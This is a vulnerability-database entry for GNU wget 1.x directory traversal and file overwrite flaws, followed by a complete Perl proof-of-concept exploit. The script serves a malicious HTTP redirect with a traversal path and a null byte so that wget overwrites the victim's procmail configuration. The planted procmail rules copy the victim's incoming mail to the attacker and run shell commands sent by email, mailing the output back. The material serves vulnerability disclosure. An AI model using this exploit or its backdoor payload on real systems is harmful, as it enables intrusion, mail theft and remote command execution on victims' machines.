gnu wget 1.x Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

GNU wget 1.x Multiple Vulnerabilities. Remote attackers can execute arbitrary file overwriting, directory traversal & malicious character input to corrupt files, cause denial of service & launch further attacks


                                                source: http://www.securityfocus.com/bid/11871/info

Multiple remote vulnerabilities reportedly affect GNU wget. These issues are due to the application&#39;s failure to properly sanitize user-supplied input and to properly validate the presence of files before writing to them. The issues include:

- a potential directory-traversal issue
- an arbitrary file-overwriting vulnerability
- a weakness caused by the application&#39;s failure to filter potentially malicious characters from server-supplied input. 

Via a malicious server, an attacker may exploit these issues to arbitrarily overwrite files within the current directory and potentially outside of it. This may let the attacker corrupt files, cause a denial of service, and possibly launch further attacks against the affected computer. Overwriting of files would take place with the privileges of the user that activates the vulnerable application.


--
 )^o-o^|    jabber: [email protected]
 | .v  K    e-mail: jjminar FastMail FM
 `  - .&#39;     phone: +44(0)7981 738 696
  \ __/Jan     icq: 345 355 493
 __|o|__Min??  irc: [email protected]

#!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Min???? (jjminar fastmail fm)
# License: Public Domain
#
# When wget connects to us, we send it a HTTP redirect constructed so that wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username &#39;jan&#39;
# 8-)).

use POSIX qw(strftime);

# This is our scheme/host/port
$server = &#34;http://localhost:31340&#34;;
# Use this + DNS poisoning with wget 1.9 & CVS
#$server = &#34;http://..&#34;;

# Wanna know who got infected?
#$log = &#34;/dev/pts/1&#34;;

# The filename we will try to overwrite on the target system
$filename = &#34;/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.&#34;;

############### Payload #########################################
$email = &#39;your@mailbox&#39;;
$password = &#39;Pmrpuf ner cevzvgvirf&#39;;
$payload = &#60;&#60;EOP;
:0c
| mail -s &#39;Wgettrap mail copy&#39; $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-Password: $password
| /bin/sh -c &#39;/bin/sh | mail -s &#34;Wgettrap shell output&#34; $email&#39;
EOP
chomp $payload;
############### Payload #########################################

# A simple directory traversal, for greater effect
$trick = &#34;/..&#34; . &#34;%2f..&#34; x 40;

open LOG, &#34;&#62;$log&#34; if $log;

while(&#60;STDIN&#62;){
        print LOG $_ if $log;
        if (/\Q$trick$filename\E/) {
        #if (/%2f/) {
                # We see the filename, so this is the second time
                # they&#39;re here.  Time to feed the sploit.
                $second++;
        } elsif (/^Range: bytes=\(33\)-/) {
                # Appending goes like this:
                # (1) Tell&#39;em what you&#39;re gonna tell&#39;em
                # (2) Then tell&#39;em just a half
                # (3) Close it
                # (4) Wait
                # (5) They&#39;re comin&#39; back, with wget -c
                # (6) Tell&#39;em the sploit
                # (7) Close again
                # (8) Wtf? They&#39;re comin&#39; back with wget -c again
                # (9) Tell&#39;em the rest...
                # (10) ... enjoying the backdoor at the same time
                print LOG &#34;File if $1 bytes long\n&#34; if $log;
        } elsif (/^\r?$/) {
                # The HTTP headers are over.  Let&#39;s do it!
                $date = strftime (&#34;%a, %e %b %Y %H:%M:%S %z&#34;, localtime);
                if (!$second) {
                        # Print the payload
                        print &#60;&#60;EOT;
HTTP/1.1 301 Moved Permanently\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Location: $server$trick$filename\r
Content-Length: 43\r
Connection: close\r
Content-Type: text/html\r
\r
&#60;html&#62;&#60;head&#62;&#60;title&#62;&#60;/title&#62;&#60;/head&#62;&#60;/html&#62;\r
EOT
                } else {
                        # Print the redirection
                        print &#60;&#60;EOT;
HTTP/1.1 200 OK\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Content-Length: 25\r
Connection: close\r
Content-Type: text/plain\r
\r
$payload
EOT
                }
                exit 0;
        }
}

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1